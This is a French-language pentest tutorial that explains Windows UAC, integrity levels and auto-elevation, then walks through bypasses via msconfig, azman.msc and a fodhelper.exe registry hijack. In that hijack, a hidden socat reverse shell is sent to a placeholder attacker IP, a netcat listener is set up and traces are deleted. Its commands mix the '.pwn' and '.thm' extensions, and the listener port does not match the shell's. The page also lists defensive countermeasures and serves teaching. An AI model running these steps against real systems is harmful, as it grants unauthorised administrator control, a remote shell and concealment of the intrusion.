---
description: Privesc
---

# Bypass UAC

## 📚 **Un peu de théorie ...**

### **L'UAC** (User Account Control)

C'est une fonctionnalité de Windows qui empêche les programmes malveillants d'obtenir des privilèges élevés sans votre autorisation.

Lorsque vous essayez d'installer un nouveau programme ou de modifier votre système, une boîte de dialogue UAC s'affiche pour vous demander si vous êtes sûr de vouloir effectuer cette action. Si vous cliquez sur "Oui", le programme ou la modification sera autorisée à s'exécuter avec des privilèges élevés. Si vous cliquez sur "Non", le programme ou la modification sera bloqué.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FZC8o4w3DpCpyqsmAAbfe%2F8088062c5a8e61407d343186bba02596.png?alt=media&#x26;token=a1d74b26-c757-4701-adae-4684258d6830" alt=""><figcaption></figcaption></figure>

Le but de l'UAC est de ne pas se fier uniquement à l'identité de l'utilisateur pour déterminer si certaines actions doivent être autorisées. Par exemple, si un utilisateur télécharge sans le savoir un programme malveillant et qu'il est membre du groupe des administrateurs, ce programme malveillant pourra obtenir des privilèges élevés s'il est lancé et que l'UAC est désactivé. Cependant, si l'UAC est activé, le programme malveillant [sera limité à un accès non administrateur.](#user-content-fn-1)[^1]

{% hint style="info" %}
Les paramètres de l'UAC peuvent être configurés selon quatre niveaux de notification différents :

* Toujours notifier&#x20;
* Notifier uniquement lorsque des programmes essaient de modifier mon ordinateur
* Notifier uniquement lorsque des programmes essaient de modifier mon ordinateur (ne pas obscurcir mon bureau) : même paramètre que ci-dessus, mais ont peut voir l'arrière plan.
* Ne jamais notifier&#x20;

Par défaut, l'UAC est réglé sur "notifier uniquement lorsque des programmes essaient de modifier mon ordinateur".
{% endhint %}

### 💻 **Mandatory Integrity Control (MIC)**&#x20;

C'est une fonctionnalité de sécurité dans les systèmes d'exploitation Windows qui permet de restreindre l'accès aux ressources en fonction de leur niveau d'intégrité.

### 💻 **L'Integrity Level (IL)**&#x20;

C'est un niveau de confiance attribué à un processus ou à une ressource (fichier, dossier, clé de registre, etc.) dans le système d'exploitation Windows. Il existe quatre niveaux d'intégrité dans Windows  :&#x20;

| **Niveau d'intégrité** | **Description** |
| ---------------------- | --------------- |

| **Low** | Niveau le plus bas, pour les processus et ressources provenant d'Internet ou de sources non fiables. |
| ------- | ---------------------------------------------------------------------------------------------------- |

| **Medium** | Niveau par défaut pour la plupart des processus et ressources. |
| ---------- | -------------------------------------------------------------- |

| **High** | Niveau élevé pour les processus et ressources critiques. |
| -------- | -------------------------------------------------------- |

| **System** | Niveau le plus élevé, réservé aux processus et ressources du noyau du système. |
| ---------- | ------------------------------------------------------------------------------ |

### 🔐 Jetons&#x20;

Pour séparer les rôles entre utilisateurs et administrateurs, Windows utilise des jetons filtrés avec UAC (User Account Control). Voici comment cela fonctionne :

**Utilisateurs réguliers** : Reçoivent un seul jeton d'accès pour toutes leurs activités. Ce jeton a un niveau d'intégrité moyen (Medium IL).

**Administrateurs** : Reçoivent deux jetons d'accès :

* **Filtered Token** : Utilisé pour les [tâches normales](#user-content-fn-2)[^2] sans privilèges administratifs. Ce jeton a un niveau d'intégrité moyen (Medium IL).
* **Elevated Token** : Utilisé pour les tâches[^3] nécessitant des privilèges administratifs. Ce jeton a un niveau d'intégrité élevé (High IL).

Les administrateurs utilisent le jeton filtré pour les tâches régulières et passent au jeton élevé lorsqu'ils ont besoin de droits administratifs, généralement après une demande de confirmation via UAC. Cela permet de renforcer la sécurité en limitant les privilèges élevés aux tâches qui en ont vraiment besoin.

### 📡 Fonctionnement :

&#x20;

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FjWatoLss9NkZd3uutRF9%2Ffce906f0e438efa938753430e5d25afe.png?alt=media&#x26;token=aeb0015a-8f23-4fe0-ac15-3875eca3da8d" alt=""><figcaption></figcaption></figure>



2. Une demande est envoyée au système d'exploitation pour exécuter une application en tant qu'administrateur.
3. La requête est transmise à l'Application Information Service (Appinfo) pour gérer l'élévation.
4. Appinfo vérifie le manifeste de l'application pour voir si l'AutoElevation est autorisée :
   * Si oui, l'application est lancée avec les privilèges d'administrateur.
   * Si non, Appinfo exécute consent.exe, qui affiche la boîte de dialogue UAC sur un bureau sécurisé.
5.  Si l'utilisateur donne son consentement Appinfo exécute la requête en utilisant le jeton d'accès élevé de l'utilisateur.


6. Appinfo définit ensuite l'ID de processus parent du nouveau processus pour qu'il pointe vers le shell à partir duquel l'élévation a été demandée.

## 📁 Autoelevate&#x20;

AutoElevate est un mécanisme dans Windows qui permet à certains programmes de s'élever automatiquement vers un niveau de privilège élevé, sans nécessiter d'intervention de l'utilisateur.

Pour qu'une application puisse bénéficier de l'auto-élévation, elle doit répondre à certaines conditions :

1. L'exécutable doit être signé par l'éditeur Windows.
2. L'exécutable doit être situé dans un répertoire de confiance, comme %SystemRoot%/System32/ ou %ProgramFiles%/.

En fonction du type d'application, des exigences supplémentaires peuvent s'appliquer :

* Les fichiers exécutables (.exe) doivent déclarer l'élément autoElevate dans leur manifeste. Cela peut être vérifié en utilisant des outils comme sigcheck.

```css
sigcheck64.exe -m [chemin_vers_le_fichier_exécutable]
```

* Pour les objets COM, l'auto-élévation peut être demandée en configurant certaines clés de registre.

Pour en savoir plus sur les clés de registres :&#x20;

{% embed url="https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker" %}

***

## 🛠️ Place a la pratique !&#x20;

**Vérifier le Niveau de Notification UAC**:

```powershell
powershell -Command "Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin'"
```

* Appuyez sur **Entrée**. Cette commande affichera la valeur de la clé de registre `ConsentPromptBehaviorAdmin`, qui indique le niveau de notification pour les administrateurs.
  * **0** : Ne jamais notifier.
  * **1** : Toujours notifier.
  * **2** : Notifier uniquement pour les applications (ne pas atténuer le bureau).
  * **5** : Notifier uniquement pour les applications (atténuer le bureau).

{% hint style="info" %}
Les techniques de contournement de l'UAC utilisent souvent un processus de niveau d'intégrité élevé **(High IL)** pour exécuter des actions en notre nom. Comme les **processus enfants héritent du niveau d'intégrité du parent**, cela permet d'obtenir un jeton d'accès élevé sans avoir à passer par la boîte de dialogue UAC.
{% endhint %}

## 🖥️ Interface graphique&#x20;

Avantage : moyen simple de comprendre les concepts de base

Inconvenant : accès à une session graphique > peu probable

### 📁 msconfig

Notez que `msconfig` s'exécute avec un niveau d'intégrité élevé sans demander l'interaction de l'utilisateur.

* Depuis le menu démarrer ou le dialogue "Exécuter", ouvrez `msconfig`.
* Tools > command prompt > launch

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FlJakuAojNTRO6gR42Gph%2F2024-06-05_16-47.png?alt=media&#x26;token=756ce273-e012-41e6-a96a-f81020e27b04" alt=""><figcaption></figcaption></figure>

Vous obtiendrez un terminal avec un niveau d'intégrité élevé.

### 📁 azman.msc

* Depuis le menu démarrer ou en utilisant la commande "Exécuter", lancez azman.msc.
* Dans azman.msc, accédez à l'aide.
* Cliquez avec le bouton droit sur n'importe quelle partie de l'article d'aide et sélectionnez "Afficher la source".
* Cela ouvrira le processus notepad.exe.

**Utiliser Notepad pour ouvrir un shell** :

* Dans Notepad, accédez à Fichier -> Ouvrir.
* Sélectionnez "Tous les fichiers" dans le menu déroulant en bas à droite.
* Allez à C:\Windows\System32 et recherchez cmd.exe.
* Cliquez avec le bouton droit sur cmd.exe et sélectionnez "Ouvrir".

Lorsque vous lancez azman.msc, cela démarre Microsoft Management Console (MMC) pour gérer les stratégies de contrôle d'accès et autres tâches de gestion des autorisations. Par défaut, MMC s'exécute avec des privilèges élevés (High IL)

On observe que les privilèges ont été hérité !

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FU2inplDq5LO66brNe1Dm%2F7fb637209e08c712615b992b9d0533ca.png?alt=media&#x26;token=a4439dc6-3904-43c1-bebb-e69d59e84b61" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Ces applications permettent d'obtenir un terminal avec un niveau d'intégrité élevé sans demander l'interaction de l'utilisateur.
{% endhint %}

***

## 💻 Fodhelper.exe

Fodhelper.exe est un programme de Windows qui gère les fonctionnalités optionnelles du système, comme les langues supplémentaires ou les applications non installées par défaut.&#x20;

Il peut s'élever automatiquement pour les tâches administratives, évitant ainsi aux utilisateurs d'avoir à confirmer manuellement l'élévation des privilèges avec UAC.

#### Fonctionnement de l'exploit&#x20;

{% hint style="info" %}
Le **registre** est comme une grande base de données où Windows stocke des informations sur différents aspects du système. Lorsque vous ouvrez un fichier, Windows regarde dans le registre pour savoir quel programme doit être utilisé pour ouvrir ce type de fichier.
{% endhint %}

Dans cet exploit, un nouveau [**ProgID**](#user-content-fn-4)[^4] nommé ".pwn" est créé.&#x20;

Ensuite, la commande malveillante est associée à ce **ProgID**.&#x20;

Cela signifie que lorsque des fichiers avec l'extension ".pwn" sont ouverts, Windows exécutera automatiquement la commande malveillante.

Ensuite, l'entrée "CurVer" (Version Courante) de la classe "ms-settings" dans le registre est modifiée pour pointer vers le nouveau ProgID ".pwn". La classe "ms-settings" est celle qui est invoquée lorsque **fodhelper.exe** est lancé. Donc, en modifiant l'entrée **"CurVer"** pour qu'elle pointe vers notre **ProgID** ".pwn", lorsque fodhelper.exe essaie d'ouvrir un programme **ms-settings**, il sera redirigé vers notre **ProgID** ".pwn".&#x20;

Par conséquent, il exécutera la commande malveillante associée à ce ProgID, déclenchant ainsi l'exploit.

***

Sur la cible, vérifiez si votre utilisateur fait partie du groupe Administrateurs et s'il s'exécute avec un jeton d'intégrité moyen :

<pre class="language-shell"><code class="lang-shell">whoami
net user attacker | find "Local Group"
<strong>whoami /groups | find "Label" #les informations sur les niveaux d'intégrité sont précédées de "Label"
</strong></code></pre>

{% hint style="info" %}
On observe un LI (niveaux d'intégrité Medium :&#x20;

&#x20;`Mandatory Label\Medium Mandatory Level`
{% endhint %}

Configurez les valeurs de registre requises pour associer la classe ms-settings à un reverse shell:

<pre class="language-shell" data-overflow="wrap"><code class="lang-shell"># Définir la commande à exécuter
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:&#x3C;attacker_ip>:4445 EXEC:cmd.exe,pipes"

# Ajouter la commande CMD comme valeur de registre pour la clé spécifiée ".thm\Shell\Open\command" :
<strong>reg add "HKCU\Software\Classes\.pwn\Shell\Open\command" /d %CMD% /f
</strong>#la commande CMD est ajoutée au registre pour être exécutée lorsque des fichiers avec une certaine extension sont ouverts. ".thm" est utilisé comme une extension fictive dans cet exemple.

# Ajouter la valeur ".thm" pour la clé "ms-settings\CurVer" dans le registre :
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".pwn" /f
#Cela permet d'associer les fichiers ".thm" à la classe "ms-settings", ce qui déclenchera l'exécution de la commande précédemment définie lorsque ces fichiers sont ouverts.
</code></pre>

Créez un écouteur Netcat sur votre machine attaquante :

```shell
nc -lvp 4444
```

Exécutez fodhelper.exe sur la machine cible :

```shell
fodhelper.exe
```

Effacer les traces :&#x20;

```batch
reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f
```

{% hint style="info" %}
Maintenant vous avez un HIGH IL :&#x20;

&#x20;`Mandatory Label\HIGH Mandatory Level`
{% endhint %}

***

## 🛠️ Tools :&#x20;

{% embed url="https://github.com/hfiref0x/UACME" %}

#### Précautions et Contre-mesures

1. **Surveillez les modifications du registre** : Utilisez des outils de surveillance pour détecter les modifications suspectes des clés de registre critiques.
2. **Utilisez des politiques d'exécution strictes** : Configurez des politiques d'exécution pour empêcher l'exécution non autorisée de scripts et de commandes.
3. **Mettez à jour régulièrement le système** : Appliquez les mises à jour de sécurité pour corriger les vulnérabilités connues.
4. **Désactivez les tâches planifiées non utilisées** : Réduisez la surface d'attaque en désactivant les tâches planifiées inutilisées.
5. **Utilisez des logiciels de sécurité avancés** : Utilisez des solutions de sécurité avec des capacités de détection de comportement pour identifier et bloquer les tentatives de contournement de l'UAC.



[^1]: Lorsque l'UAC est activé, les programmes s'exécutent avec un niveau d'accès restreint, même si l'utilisateur est membre du groupe des administrateurs. Cela signifie que les programmes ne peuvent pas apporter de modifications importantes au système ou à d'autres programmes sans l'autorisation explicite de l'utilisateur.

[^2]: Un administrateur navigue sur le web ou consulte des emails

[^3]: Un administrateur installe un logiciel ou modifie des paramètres système

[^4]: Un ProgID est un identifiant utilisé par Windows pour associer des types de fichiers à des applications ou à des actions spécifiques.
